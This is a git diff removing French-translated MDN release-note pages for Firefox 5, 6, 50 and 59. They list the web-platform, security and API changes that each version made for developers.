Outils pour les développeurs

- -
    -
  • L'objet Console de la Console Web a maintenant une méthode debug(), qui est un alias pour la méthode log(), cela améliore la compatibilité avec certains sites.
    • -
- -

Changements pour les développeurs de Mozilla et de modules complémentaires

- -

Pour des conseils utiles sur la mise à jour des extensions pour Firefox 5, voir Updating add-ons for Firefox 5.

- -
Note : Firefox 5 requiert que les composants binaires soient recompilés, comme pour toutes les versions majeures de Firefox. Pour plus de détails, voir Interfaces Binaires.
- -

Changements dans les modules de code JavaScript

- -

Nouveau module de code JavaScript

- -
    -
  • Le module de code Dict.jsm a été ajouté, il fournit une API pour les dictionnaires de paires clé/valeur.
    • -
- -

NetUtil.jsm

- -
    -
  • La méthode asyncFetch() supporte désormais la spécification de la source en tant que {{interface("nsIInputStream")}}.
    • -
- -

Changements dans les interfaces

- -
    -
  • L'interface {{interface("nsIHttpChannelInternal")}} a maintenant de nouveaux attributs donnant accès à des informations sur les points finaux des canaux des adresses et des ports. Ces informations sont fournies principalement à des fins de débogage.
    • -
  • Les attribut {{htmlattrxref("width", "canvas")}} et {{htmlattrxref("height", "canvas")}} de l'élément {{HTMLElement("canvas")}} sont désormais inclus dans IDL comme des entiers non signés au lieu d'être signés (voir HTMLCanvasElement).
    • -
  • Les interfaces nsIAppStartup2 et {{interface("nsIAppStartup_MOZILLA_2_0")}} ont été fusionnées avec l'interface {{interface("nsIAppStartup")}}.
    • -
  • L'interface nsIDocShell_MOZILLA_2_0_BRANCH a été fusionnée avec l'interface {{interface("nsIDocShell")}}.
    • -
  • L'interface nsIFocusManager_MOZILLA_2_0_BRANCH a été fusionnée avec l'interface {{interface("nsIFocusManager")}}.
    • -
  • L'interface nsIHTMLEditor_MOZILLA_2_0_BRANCH a été fusionnée avec l'interface {{interface("nsIHTMLEditor")}}.
    • -
- -

Nouvelle interface

- -
    -
  • Ajout de nsIDOMAnimationEvent. {{domxref("AnimationEvent")}}
    • -
- -

Interfaces supprimées

- -

Les interfaces suivantes ont été supprimées car elles n'étaient plus indispensables :

- -
    -
  • nsICiter (voir {{bug(633066)}})
    • -
  • nsIDOM3Document (voir {{bug(639849)}})
    • -
  • nsIFIXptrEvaluator
    • -
  • nsISelectElement (voir {{bug(619996)}})
    • -
- -

Aide au débogage

- -
    -
  • La nouvelle aide DebugOnly<T> permet de déclarer des variables seulement pour les versions DEBUG.
    • -
- -

API JavaScript (SpiderMonkey)

- - - -

Changement dans le système de compilation

- -
    -
  • Vous pouvez désormais compiler Firefox sans le fichier mozconfig, l'option --enable-application paramètre par défaut à "browser". Après avoir extrait ou téléchargé le code, vous pouvez tout simplement faire configure && make (ou make -f client.mk) pour compiler Firefox.
    • -
- -

Voir également

- -

{{Firefox_for_developers('4')}}

diff --git a/files/fr/mozilla/firefox/versions/50/index.html b/files/fr/mozilla/firefox/versions/50/index.html deleted file mode 100644 index 557addb508..0000000000 --- a/files/fr/mozilla/firefox/versions/50/index.html +++ /dev/null @@ -1,198 +0,0 @@ ---- -title: Firefox 50 for developers -slug: Mozilla/Firefox/Versions/50 -translation_of: Mozilla/Firefox/Releases/50 ---- -
{{FirefoxSidebar}}

Pour tester les dernières fonctionnalités développeur de Firefox,
- installez Firefox Edition DeveloppeurFirefox 50 a été publié le 15 November 2016. Cet article relate les changements clés utiles non seulement aux développeurs web mais aussi aux développeurs travaillant sur Firefox et Gecko, ainsi que pour les développeurs d'extensions.

- -

Changes pour les développeurs Web

- -
    -
- -

HTML

- -
    -
  • Le style par defaut style de {{HTMLElement("bdo")}} assigne à présent {{cssxref("unicode-bidi")}} avec la valeur isolate-override ({{bug(1249497)}}).
    • -
  • Assigner l'attribut {{htmlattrxref("src", "track")}} de l'élément {{HTMLElement("track")}} fonctionne à présent correctement ({{bug(1281418)}}).
    • -
  • The referrerpolicy attribute on {{HTMLElement("area")}}, {{HTMLElement("a")}}, {{HTMLElement("img")}}, {{HTMLElement("iframe")}} and {{HTMLElement("link")}} elements is now available by default ({{bug(1223838)}}, {{bug(1264165)}}).
    • -
- -

CSS

- -
    -
  • Border-radiused corners with dashed and dotted styles are now rendered with the specified style instead of a solid style ({{bug(382721)}}).
    • -
  • The non-standard {{cssxref(":-moz-full-screen-ancestor")}} pseudo-class selector has been removed ({{bug(1199529)}}).
    • -
  • The {{cssxref("box-sizing")}}: padding-box has been removed, since it’s no longer a part of the spec and Firefox was the only major browser implementing it ({{bug(1166728)}}).
    • -
  • The three values isolate, isolate-override, and plaintext of the {{cssxref("unicode-bidi")}} property have been unprefixed ({{bug(1141895)}}).
    • -
  • In quirks mode, the bullet of a list item now inherits the size of the list, like in standards mode ({{bug(648331)}}).
    • -
  • The {{cssxref(":in-range")}} and {{cssxref(":out-of-range")}} pseudo-classes have changed behavior to not match disabled or read-only inputs ({{bug(1264157)}}).
    • -
  • The {{cssxref(":any-link")}} pseudo-class is now unprefixed ({{bug(843579)}}).
    • -
  • The space value for {{cssxref("border-image-repeat")}} has been implemented ({{bug(720531)}}).
    • -
- -

JavaScript

- -
    -
  • The ES2015 {{jsxref("Symbol.hasInstance")}} property has been implemented ({{bug(1054906)}}).
    • -
  • The ES2017 {{jsxref("Object.getOwnPropertyDescriptors()")}} method has been implemented ({{bug(1245024)}}).
    • -
  • The behavior of \W in {{jsxref("RegExp")}} with unicode and ignoreCase flags is changed to match recent draft spec. Now it doesn't match to K, S, k, s, and KELVIN SIGN (U+212A), and LATIN SMALL LETTER LONG S (U+017F) ({{bug(1281739)}}).
    • -
- -

Developer Tools

- - - -

All devtools bugs fixed between Firefox 49 and Firefox 50.

- -

HTTP

- -
    -
  • The experimental (and deprecated) SPDY 3.1 is now disabled by default {{bug(1287132)}}.
    • -
  • Support for {{HTTPHeader("X-Content-Type-Options")}} has been added ({{bug(471020)}}).
    • -
  • The cookie prefixes __Host- and __Secure- have been implemented. See {{HTTPHeader("Set-Cookie")}} and {{bug(1283368)}}.
    • -
  • The {{HTTPHeader("Referrer-Policy")}} header has been implemented {{bug(1264164)}}.
    • -
- -

Security

- -
    -
  • The {{htmlattrxref("ping", "a")}} attribute of {{htmlelement("a")}} element now abides by the connect-src CSP 1.1 policy directive ({{bug(1100181)}}).
    • -
  • Support for the sandbox CSP directive has been added ({{bug(671389)}}).
    • -
  • It's now possible to set a content security policy for workers ({{bug (959388)}}).
    • -
  • The {{domxref("Navigator.sendBeacon()")}} method no longer throws an exception if the beacon data couldn't be sent due to a Content Security Policy restriction; instead, it returns false as expected ({{bug(1234813)}}).
    • -
- -

Networking

- -
    -
  • When a error has happened during an asynchronous {{domxref("XMLHttpRequest")}}, the {{domxref("XMLHttpRequest.getAllResponseHeaders()")}} method now returns an empty string ({{bug(1286744)}}).
    • -
  • Instead of returning a NetworkError, asynchronous {{domxref("XMLHttpRequest")}} that fails for CORS or other network constraints now raises an {{event("error")}} that can be catched like any other error ({{bug(709991)}}).
    • -
  • {{domxref("XMLHttpRequest.getResponseHeader()")}} and {{domxref("XMLHttpRequest.getAllResponseHeaders()")}} now also return empty headers by default. This can be controlled via the preference network.http.keep_empty_response_headers_as_empty_string ({{bug(918721)}}).
    • -
  • The only-if-cached option has been added to Request.cache ({{bug(1272436)}}).
    • -
- -

DOM

- -
    -
  • The once option for {{domxref("EventTarget.addEventListener()")}} is now supported ({{bug(1287706)}}).
    • -
  • The interface {{domxref("NodeList")}} are now iterable and the methods {{domxref("NodeList.forEach()", "forEach()")}}, {{domxref("NodeList.values()", "values()")}}, {{domxref("NodeList.entries()")}} and {{domxref("NodeList.keys()")}} are now available ({{bug(1290636)}}).
    • -
  • The interface {{domxref("DOMTokenList")}} are now iterable and the methods {{domxref("DOMTokenList.forEach()", "forEach()")}}, {{domxref("DOMTokenList.values()", "values()")}}, {{domxref("DOMTokenList.entries()")}} and {{domxref("DOMTokenList.keys()")}} are now available ({{bug(1290636)}}).
    • -
  • The methods {{domxref("Document.createElement()")}} and {{domxref("Document.createElementNS()")}} now have an optional options parameter for creating custom elements ({{bug(1276579)}}).
    • -
- -

SVG

- -
    -
  • The allowReorder attribute has been dropped and the behavior it was setting is now the default for SVG {{SVGElement("switch")}} elements ({{bug(1279690)}}).
    • -
  • The defer keyword for the {{SVGAttr("preserveAspectRatio")}} attribute on SVG {{SVGElement("image")}} elements has been removed to follow the latest SVG2 specification ({{bug(1280425)}}).
    • -
- -

Drag and Drop API

- -
    -
  • The {{domxref("DataTransfer.items")}} property has been implemented, allowing access to multiple items being dragged and dropped using the HTML Drag and Drop API. To allow this, the {{domxref("DataTransferItem")}} and {{domxref("DataTransferItemList")}} interfaces are now supported as well ({{bug(906420)}}). This is enabled by default.
    • -
  • The old, obsolete Firefox specific drag and drop API events dragdrop and draggesture are no longer supported. Be sure to update any code still using them to use the HTML drag and drop API ({{bug(1162050)}}.
    • -
- -

Pointer Lock API

- -
    -
  • The Pointer Lock API is now unprefixed ({{bug(991899)}}).
    • -
  • Before Firefox 50, requestPointerLock() asked for permission using a doorhanger, and pointer lock would not be enabled until the user granted permission. From Firefox 50, pointer lock is like the fullscreen API: it's granted immediately, but a notification is displayed explaining to the user how to exit ({{bug(1273351)}}).
    • -
- -

IndexedDB

- -
    -
  • A {{event("close")}} event is now sent to the {{domxref("IDBDatabase")}} object when the corresponding database is unexpectedly closed ({{bug(1151017)}}).
    • -
- -

Service Workers

- -
    -
  • The {{domxref("WindowClient.navigate()")}} method has been implemented. This method lets you open a specified URL into a client window which is being controlled by the service worker ({{bug(1218148)}}).
    • -
- -

WebGL

- -
    -
  • The {{domxref("EXT_shader_texture_lod")}} WebGL extension has been implemented ({{bug(1111689)}}).
    • -
  • The texImage methods have been updated for WebGL 2 to implement PBOs (PIXEL_UNPACK_BUFFER) ({{bug(1280499)}}).
    • -
- -

WebRTC

- -
    -
  • Adding a track to a {{domxref("MediaStream")}} now generates the {{event("addtrack")}} event as described in the specification. The event is of type {{domxref("MediaStreamTrackEvent")}} and is fired on the stream to which the track was added. You can use either {{domxref("EventTarget.addEventListener", "MediaStream.addEventListener('addtrack', ...)")}} or the {{domxref("MediaStream.onaddtrack")}} property to handle "addtrack" events.
    • -
  • The {{domxref("MediaStreamTrack")}} interface now supports the {{event("ended")}} event and the {{domxref("MediaStreamTrack.onended")}} event handler.
    • -
  • Firefox now supports the {{domxref("MediaStreamTrack.readyState")}} property, which indicates whether the track is live or permanently ended.
    • -
  • The {{domxref("MediaStreamTrack")}} methods {{domxref("MediaStreamTrack.getConstraints", "getConstraints()")}} and {{domxref("MediaStreamTrack.getSettings", "getSettings()")}} have been implemented; these let you get the most recently applied set of customized property constraints and the actual values of all of the track's constrainable properties, respectively. The accompanying data types have been documented as well.
    • -
  • The {{domxref("RTCDataChannel.stream")}} property has been removed. This was replaced with {{domxref("RTCDataChannel.id")}} in Firefox 24, but was supported for backward compatibility. Please be sure to update your code to use the id property if you haven't done so yet.
    • -
- -

Web Audio API

- -
    -
  • The {{domxref("PannerNode")}} interface now supports the 3D Cartesian space properties for the position ({{domxref("PannerNode.positionX")}}, {{domxref("PannerNode.positionY")}}, and {{domxref("PannerNode.positionZ")}}) and directionality ({{domxref("PannerNode.orientationX")}}, {{domxref("PannerNode.orientationY")}}, {{domxref("PannerNode.orientationZ")}}) of an audio source.
    • -
  • The interface {{domxref("IIRFilterNode")}}, which implements a general {{interwiki("wikipedia", "infinite impulse response")}} (IIR) filter, has been implemented.
    • -
  • Throttling in background tabs of timers created by {{domxref("WindowTimers.setInterval", "Window.setInterval()")}} and {{domxref("WindowTimers.setTimeout", "Window.setTimeout()")}} no longer occurs if a Web Audio API {{domxref("AudioContext")}} is actively playing sound. This should help prevent issues with timing-sensitive audio playback (such as music players generating individual notes using timers) in the background ({{bug(1181073)}}).
    • -
- -

Audio/Video

- -
    -
  • The AlignSetting enum (representing possible values for {{domxref("VTTCue.align")}}) incorrectly previously included the value "middle" instead of "center". This has been corrected ({{bug(1276130)}}).
    • -
  • The non-standard and experimental method {{domxref("HTMLMediaElement.seekToNextFrame()")}} now seeks to the next frame in the media asynchronously, rather than synchronously, and returns a {{jsxref("Promise")}} which resolves once the seek is complete.
    • -
  • The implementation of {{domxref("HTMLTrackElement")}} has been corrected to allow {{HTMLElement("track")}} elements to load resources even if not in a document ({{bug(871747)}}).
    • -
- -

Battery API

- -
    -
  • The {{domxref("navigator.battery")}} property, which has been deprecated since Firefox 43, is now obsolete and has been removed. Use the {{domxref("navigator.getBattery()")}} method instead to get a battery {{jsxref("Promise")}}, which will resolve when the {{domxref("BatteryManager")}} is available for use; the {{domxref("BatteryManager")}} is passed into the fulfillment handler for the promise ({{bug(12593355)}}).
    • -
- -

Files and directories

- -
    -
  • A subset of the File and Directory Entries API has been implemented, to improve compatibility with sites that were previously only compatible with Google Chrome ({{bug(1265767)}}). - -
      -
    • The asynchronous API interfaces have been implemented, with the caveat that only reading of files is supported; for example, the {{domxref("FileSystemFileEntry.createWriter()")}} method is a no-op.
      • -
    • These interfaces have been implemented: -
        -
      • {{domxref("FileSystem")}}
        • -
      • {{domxref("FileSystemEntry")}} (properties only; the methods have not been implemented)
        • -
      • {{domxref("FileSystemFileEntry")}} (except for {{domxref("FileSystemFileEntry.createWriter", "createWriter()")}})
        • -
      • {{domxref("FileSystemDirectoryEntry")}} (except for {{domxref("FileSystemDirectoryEntry.removeRecursively", "removeRecursively()")}})
        • -
      • {{domxref("FileSystemDirectoryReader")}}
        • -
      -
      • -
    • {{domxref("HTMLInputElement.webkitdirectory")}} as well as the {{HTMLattrxref("webkitdirectory", "input")}} attribute of the {{HTMLElement("input")}} element have been implemented; this lets you configure a file input to accept directories instead of files ({{bug(1258489)}}).
      • -
    • {{domxref("HTMLInputElement.webkitEntries")}} has been implemented; this returns an array of {{domxref("FileSystemEntry")}}-based objects representing the selected items.
      • -
    • {{domxref("File.webkitRelativePath")}} has been implemented; this contains the path of the file relative to the root of the containing {{domxref("FileSystemDirectoryEntry")}} that was among the items in the list returned by {{domxref("HTMLInputElement.webkitGetEntries()")}}.
      • -
    • See File and Directory Entries API support in Firefox for details about what we do and do not support in this API.
      • -
    • These APIs are now enabled by default; some were previously available but only behind a preference ({{bug(1288683)}}).
      • -
    -
    • -
  • We've implemented {{domxref("DataTransferItem.webkitGetAsEntry()")}} as part of the File and Directory Entries API; this lets you obtain a {{domxref("FileSystemEntry")}} representing a dropped file ({{bug(1289255)}}). This is enabled by default.
    • -
  • The HTMLInputElement.directory property, part of the Directory Upload API proposal, has been renamed to allowdirs ({{bug(1288681)}}). This property is hidden behind a preference.
    • -
- -

See also

- - - -

Older versions

- -

{{Firefox_for_developers(49)}}

diff --git a/files/fr/mozilla/firefox/versions/59/index.html b/files/fr/mozilla/firefox/versions/59/index.html deleted file mode 100644 index 715432166e..0000000000 --- a/files/fr/mozilla/firefox/versions/59/index.html +++ /dev/null @@ -1,204 +0,0 @@ ---- -title: Firefox 59 for developers -slug: Mozilla/Firefox/Versions/59 -translation_of: Mozilla/Firefox/Releases/59 ---- -
{{FirefoxSidebar}}

This article provides information about the changes in Firefox 59 that will affect developers. Firefox 59 was released on March 13, 2018.

- -

Changes for web developers

- -

Developer tools

- -
    -
  • The Network Monitor Response tab now shows a preview of the rendered HTML — if the response is HTML ({{bug(1353319)}}).
    • -
  • Cookie information shown in the Storage Inspector (see Cookies) now includes a sameSite column showing what the same-site status of each cookie is ({{bug(1298370)}}).
    • -
  • The Rulers tool now includes a readout showing the current dimensions of the viewport ({{bug(1402633)}}).
    • -
  • In Responsive Design Mode, you can now set the screen dimensions using the cursor keys ({{bug(1421663)}}). See the Setting screen size section for more details.
    • -
  • The Raw headers display in the Network Monitor Headers tab now includes the response's status code ({{bug(1419401)}}).
    • -
- -

HTML

- -

The {{HTMLElement("textarea")}} element's {{htmlattrxref("autocomplete", "textarea")}} attribute has been implemented. This lets you enable or disable form auto-fill for the element.

- -

CSS

- -
    -
  • The {{cssxref("overscroll-behavior")}} property and its associated longhand properties — {{cssxref("overscroll-behavior-x")}} and {{cssxref("overscroll-behavior-y")}} — have been implemented ({{bug(951793)}}), and it has been enabled by default on all releases ({{bug(1428879)}}).
    • -
  • The behavior of "unusual elements" (elements that aren’t rendered purely by CSS box concepts such as replaced elements) when given a {{cssxref("display")}} value of contents has been updated as per spec ({{bug(1427292)}}). See Appendix B: Effects of display: contents on Unusual Elements for exactly what the specced behaviors are.
    • -
  • {{cssxref("position")}} sticky is now supported on appropriate HTML table parts (e.g. {{htmlelement("th")}} elements) ({{bug(975644)}}).
    • -
  • {{cssxref("calc()")}} is now supported in {{cssxref("<color>")}} values — rgb(), rgba(), hsl(), and hsla() ({{bug(984021)}}).
    • -
  • {{cssxref("calc()")}} in media query values is now supported {{bug(1396057)}}.
    • -
  • The {{cssxref("@document")}} at-rule has been limited to use only in user and UA sheets ({{bug(1035091)}}).
    • -
  • Implement the {{cssxref("font-optical-sizing")}} property ({{bug(1435692)}}).
    • -
- -

SVG

- -

No changes.

- -

JavaScript

- -

No changes.

- -

APIs

- -

New APIs

- -

{{domxref("PointerEvent","PointerEvents")}} have been enabled in Firefox Desktop ({{bug(1411467)}}).

- -

DOM

- -
    -
  • The {{domxref("EventTarget.EventTarget()","EventTarget()")}} constructor has been implemented ({{bug(1379688)}}).
    • -
  • The {{domxref("Response.Response()","Response()")}} constructor can now accept a null value for its body parameter, as per spec ({{bug(1303025)}}).
    • -
- -

DOM events

- -

The {{domxref("Event.composedPath()")}} method has been implemented ({{bug(1412775)}}).

- -

Service workers

- -
    -
  • The service worker Clients API can now find and communicate with windows in a separate browser process ({{bug(1293277)}}) .
    • -
  • Nested about:blank and about:srcdoc iframes will now inherit their parent's controlling service worker. Fixed in ({{bug(1293277)}}) and ({{bug(1426979)}}).
    • -
  • When a service worker provides a {{domxref("Response")}} to {{domxref("FetchEvent.respondWith()")}}, the {{domxref("Response.url")}} value will not be propagated to the intercepted network request as the final resolved URL.  In the past the {{domxref("Request.url","FetchEvent.request.url")}} was used for this instead.  This means, for example, if a service worker intercepts a stylesheet or worker script, then the provided Response.url will be used to resolve any relative {{cssxref("@import")}} or {{domxref("WorkerGlobalScope.importScripts()","importScripts()")}} subresource loads ({{bug(1222008)}}).
    • -
  • FetchEvent.respondWith() will now trigger a network error if the {{domxref("Request.mode","FetchEvent.request.mode")}} is "same-origin" and the provided {{domxref("Response.type")}} is "cors". ({{bug(1222008)}})
    • -
- -

Media and WebRTC

- -
    -
  • The {{domxref("MediaStreamTrack")}} property {{domxref("MediaStreamTrack.muted")}}, along with the events {{event("mute")}} and {{event("unmute")}} and the corresponding event handlers, {{domxref("MediaStreamTrack.onmute", "onmute")}} and {{domxref("MediaStreamTrack.onmute", "onunmute")}}, have been implemented. A track's muted state indicates that the track is not currently able to provide media data. - -
    Note: The muted state of a track isn't useful for what's typically thought of as muting and unmuting a track. Instead, use the {{domxref("MediaStreamTrack.enabled", "enabled")}} property; setting enabled to false causes the track to output only empty frames.
    -
    • -
  • The {{domxref("RTCRtpReceiver")}} methods {{domxref("RTCRtpReceiver.getContributingSources", "getContributingSources()")}} and {{domxref("RTCRtpReceiver.getSynchronizationSources", "getSynchronizationSources()")}} have been implemented to provide information about the sources of each RTP stream. However, a specification change occurred before release and we have disabled these by default behind the preference media.peerconnection.rtpsourcesapi.enable ({{bug(1363667)}}, {{bug(1430213)}}, and {{bug(1433236)}}.
    • -
  • The {{domxref("RTCRtpTransceiver")}} interface has now been implemented, since the Firefox implementation of WebRTC now supports transceivers, with RTCPeerConnection and other interfaces updated to use them per the latest specification.
    • -
  • The {{domxref("RTCPeerConnection.addTransceiver()")}} method has been added. In addition, the behavior of {{domxref("RTCPeerConnection.addTrack", "addTrack()")}} has been updated to create a transceiver as required.
    • -
  • Support for WebVTT regions was implemented in Firefox 58 but disabled by default. They're now available by default ({{bug(1415805)}}).
    • -
  • Firefox now supports WebVTT REGION definition blocks whose settings list has one setting per line instead of all of the settings being on the same line of the WebVTT file ({{bug(1415821)}}.
    • -
- -

Canvas and WebGL

- -

No changes.

- -

CSSOM

- -

The {{domxref("CSSNamespaceRule")}} interface and its namespaceURL and prefix properties have been implemented ({{bug(1326514)}}).

- -

HTTP

- -

No changes.

- -

Security

- -
    -
  • Top-level navigation to data: URIs has been blocked {{bug(1401895)}}. See Blocking Top-Level Navigations to data URLs for Firefox 59 for more details.
    • -
  • The SAMEORIGIN directive of the {{httpheader("X-Frame-Options")}} header has been changed so that it checks not only the top-level IFrame is in the same origin, but all its ancestors as well ({{bug(725490)}}).
    • -
  • Image resources loaded from different origins to the current document are no longer able to trigger HTTP authentication dialogs ({{bug(1423146)}}). See HTTP auth dialog can no longer be triggered by cross-origin images for more details.
    • -
  • HTTP authentication now uses utf-8 encoding for usernames and passwords (rather than ISO-8859-1) for parity with other browsers, and to avoid potential problems as described in {{bug(1419658)}}.
    • -
  • Everyday the HSTS preload list is updated from Google. Normally this doesn't warrant a note, but in this release new TLDs were included, notably .app and .dev. While they are new TLDs developers might have used them for local development and be surprised by this change. Note that reserved TLDs should be used for local development instead.
    • -
- -

Plugins

- -

No changes.

- -

Other

- -

No changes.

- -

Removals from the web platform

- -

HTML

- -

The non-standard version parameter of the {{htmlelement("script")}} element's {{htmlattrxref("type","script")}} attribute (e.g.  type="application/javascript;version=1.8") has been removed ({{bug(1428745)}}).

- -

CSS

- -
    -
  • The proprietary mozmm {{cssxref("<length>")}} unit has been removed ({{bug(1416564)}}).
    • -
  • The proprietary {{cssxref("-moz-border-top-colors")}}, {{cssxref("-moz-border-right-colors")}}, {{cssxref("-moz-border-bottom-colors")}}, and {{cssxref("-moz-border-left-colors")}} properties have been limited to usage in chrome code only ({{bug(1417200)}}).
    • -
- -

JavaScript

- - - -

APIs

- -
    -
  • The non-standard method Event.getPreventDefault() has been removed. You should instead use the {{domxref("Event.defaultPrevented")}} property to determine whether or not {{domxref("Event.preventDefault", "preventDefault()")}} was called on the {{domxref("Event")}}.
    • -
  • The propretary Navigator.mozNotification property and DesktopNotification interface have been removed, in favor of the standard Notifications API ({{bug(952453)}}).
    • -
  • The proprietary window.external.addSearchEngine() method has been removed ({{bug("862147")}}). Also see {{domxref("Window.sidebar")}} for more details.
    • -
  • The non-standard Firefox-only {{domxref("HTMLMediaElement")}} property mozAutoplayEnabled has been removed.
    • -
- -

SVG

- -

Support for SMIL's accessKey feature has been removed ({{bug(1423098)}}).

- -

Other

- -

Support for the non-standard pcast: and feed: protocols has been removed from Firefox ({{bug(1420622)}}).

- -

Changes for add-on and Mozilla developers

- -

WebExtensions

- - - -

See also

- -

Site compatibility for Firefox 59

- -

Older versions

- -

{{Firefox_for_developers(58)}}

diff --git a/files/fr/mozilla/firefox/versions/6/index.html b/files/fr/mozilla/firefox/versions/6/index.html deleted file mode 100644 index 2ee16dc40b..0000000000 --- a/files/fr/mozilla/firefox/versions/6/index.html +++ /dev/null @@ -1,290 +0,0 @@ ---- -title: Firefox 6 pour les développeurs -slug: Mozilla/Firefox/Versions/6 -tags: - - Firefox - - Firefox 6 -translation_of: Mozilla/Firefox/Releases/6 ---- -

Firefox 6, basé sur Gecko 6.0, est sorti le 16 août 2011. Cet article fournit des informations à propos des changements qui affectent les développeurs dans cette version.

- -

Changements pour les développeurs web

- -

HTML

- -
    -
  • L'élément HTML5 <progress>, qui vous permet de créer une barre de progression, est maintenant supporté.
    • -
  • L'analyse syntaxique de l'élément HTML5 <track>, qui spécifie les pistes de texte pour les éléments multimédias, est désormais supporté. Cet élément devrait apparaître dans les DOM, si son comportement n'est pas encore implémenté.
    • -
  • L'élément <iframe> est désormais correctement coupé par son conteneur lorsque les coins du conteneur ont été arrondis à l'aide de la propriété border-radius.
    • -
  • Les champs <input> des éléments <form> ne sont plus supportés par la propriété XUL maxwidth, cela n'a jamais été volontaire, et est contraire à la spécification HTML. Vous devriez plutôt utiliser l'attribut size pour définir la largeur maximum de champs de saisie.
    • -
  • Les propriétés fillStyle et strokeStyle de CanvasRenderingContext2d (<canvas>) utilisées pour ignorer les déchets inclus après la définition d'une couleur valide, maintenant c'est traité comme une erreur. Par exemple, "rouge bleu" est une couleur utilisée pour être traitée comme du "rouge", alors qu'elle aurait dû être ignorée.
    • -
  • La largeur et la hauteur des éléments <canvas> peuvent être correctement mis à 0px ; avant, lorsque vous essayez de le faire, elles se fixaient à 300px.
    • -
  • le support de l'attribut HTML des données personnalisées (data-*) a été ajouté. La propriété DOM element.dataset permet d'y accéder.
    • -
  • Quand un élément <textarea> reçoit le focus, le point d'insertion de texte est désormais placé, par défaut, au début du texte plutôt qu'à la fin. Le comportement de Firefox est ainsi conforme avec les autres navigateurs.
    • -
- -

CSS

- -
-
-moz-text-decoration-color
-
Cette nouvelle propriété vous permet de définir la couleur utilisée par les décorations du texte, comme le soulignement, le surlignement et le texte barré.
-
-moz-text-decoration-line
-
Cette nouvelle propriété vous permet de définir le type de décorations du texte ajoutée à un élément.
-
-moz-text-decoration-style
-
Cette nouvelle propriété vous permet de définir le style de décorations du texte, comme le soulignement, le surlignement et le texte barré. Les styles incluent les simples lignes, les lignes doubles, les lignes ondulées, les lignes pointillées, etc.
-
-moz-hyphens
-
Cette nouvelle propriété vous permet de contrôler la façon dont la césure des mots lors de retours à la ligne est gérée.
-
-moz-orient
-
Une nouvelle propriété (pour l'instant spécifique à Mozilla) qui vous permet de contrôler l'orientation verticale ou horizontale de certains éléments (en particulier <progress>).
-
::-moz-progress-bar
-
Un pseudo-élément spécifique à Mozilla qui vous permet de définir le style de la zone d'un élément <progress> représentant la fraction d'une tâche.
-
- -

Autres changements

- -
    -
  • La propriété @-moz-document a une nouvelle fonction regexp(), qui vous permet d'adapter l'URL du document à une regular expression.
    • -
  • La propriété CSS azimuth n'est plus supportée, comme nous avons enlevé le peu de code que nous avions pour le groupe média aural. Il n'a jamais été implémenté de manière significative, donc il était plus logique de supprimer cette implémentation crufty pour le moment, au lieu d'essayer de le rafistoler.
    • -
  • Avant, la pseudo-classe :hover n'était pas appliquée aux sélecteurs de classe quand on était en mode quirks, par exemple, .someclass:hover ne fonctionne pas. Cette bizarrerie a été enlevée.
    • -
  • La pseudo-classe :indeterminate peut être appliquée à l'élément <progress>. Cela n'est pas un standard, mais nous espérons que ce soit adopté par les autres navigateurs car c'est utile.
    • -
  • La valeur -moz-win-exclude-glass a été ajoutée à la propriété CSS -moz-appearance afin d'exclure des zones opaques dans les effets d'Aero Glass sur les systèmes Windows.
    • -
  • Le bug 658949 change la façon dont le symbole dièse (#) est traité dans les données URI qui peut briser les feuilles de style CSS qui contiennent un tel symbole.
    • -
- -

DOM

- -
-
Utilisation de media queries à partir de code
-
Vous pouvez désormais tester le résultat d'une chaîne media query en programmant la méthode window.matchMedia() et l'interface MediaQueryList.
-
Evènements tactile
-
Firefox 6 ajout le support du standard W3C sur les évènements tactile, cela facilite l'interprétation d'une ou plusieurs touches à la fois sur les surfaces tactiles comme les écrans tactiles et pavés tactiles.
-
Evènements server-sent
-
Les évènements server-sent permettent à une application Web de demander à un serveur pour envoyer des événements comme n'importe quel événement DOM localement créé.
-
- -
    -
  • navigator.securityPolicy, qui a depuis longtemps retourné une chaîne vide, a simplement été supprimé.
    • -
  • BlobBuilder est maintenant implémenté, même si pour l'instant il est préfixé (vous devez utiliser MozBlobBuilder).
    • -
  • document.height et document.width ont été supprimées. bug 585877
    • -
  • Les propriétés entities et notations de l'objet DocumentType, qui n'ont jamais été implémentées et renvoyées toujours null, ont été retirées, car elles ont également été enlevées de la spécification.
    • -
  • L'interface DOMConfiguration et la propriété document.domConfig qu'elle utilisait ont été supprimées, elles n'ont jamais été supportées et ont depuis été retirées de la spécification DOM.
    • -
  • L'évènement hashchange comprend désormais les champs newURL et oldURL.
    • -
  • La méthode abort() de l'interface FileReader retourne maintenant une exception si aucun fichier n'est en cours de lecture lorqu'elle est utilisée.
    • -
  • La méthode window.postMessage() utilise maintenant l'algorithme de clonage structuré pour vous permettre de transmettre d'une fenêtre à une autre des objets JavaScript au lieu de chaînes.
    • -
  • L'API window.history utilise désormais l'algorithme de clonage structuré pour sérialiser des objets que vous passez avec les méthodes pushState() et replaceState(), ce qui vous permet d'utiliser des objets plus complexes (y compris ceux qui contiennent des références de graphes cycliques).
    • -
  • Vous pouvez désormais détecter lorsqu'une impression a été lancée et a été achevée grâce aux nouveaux évènements beforeprint et afterprint.
    • -
  • La propriété document.strictErrorChecking a été supprimée, car elle n'a jamais été implémentée et a été retiré de la spécification DOM.
    • -
  • La propriété standard event.defaultPrevented est maintenant supportée, vous devriez utiliser à la place la méthode non-standard getPreventDefault() pour détecter si event.preventDefault() a été appelée sur l'événement.
    • -
  • La propriété window.top est désormais en lecture seule.
    • -
  • DOM views, which we never documented, have been removed. This was a bit of implementation detail that was unnecessarily complicating things, so we got rid of it. If you notice this change, you're probably doing something wrong.
    • -
  • La fonction EventTarget de la méthode addEventListener() est désormais facultative, car ça l'est dans WebKit (et aussi dans la dernière version de la spécification).
    • -
  • La propriété mozResponseArrayBuffer de l'objet XMLHttpRequest a été remplacé par les propriétés responseType et response.
    • -
  • La propriété element.dataset a été ajoutée à l'interface HTMLElement permettant d'accéder aux attributs globaux data-* global attributes d'un élément.
    • -
  • L'interface CustomEvent a été implémentée. (voir bug 427537)
    • -
  • Pour des raisons de sécurité, les URIs data: et javascript: n'héritent plus de l'environnment de sécurité de la page active lorsque l'utilisateur les saisit dans la barre d'adresse, mais un nouvel environnment de sécurité vide est créé. Par exemple, le script chargé en entrant l'URI javascript: dans la barre d'adresse n'a plus accès aux méthodes DOM et similaires. Ces URIs continueront à travailler comme avant lorsqu'elles sont utilisées par le script.
    • -
- -

JavaScript

- -
    -
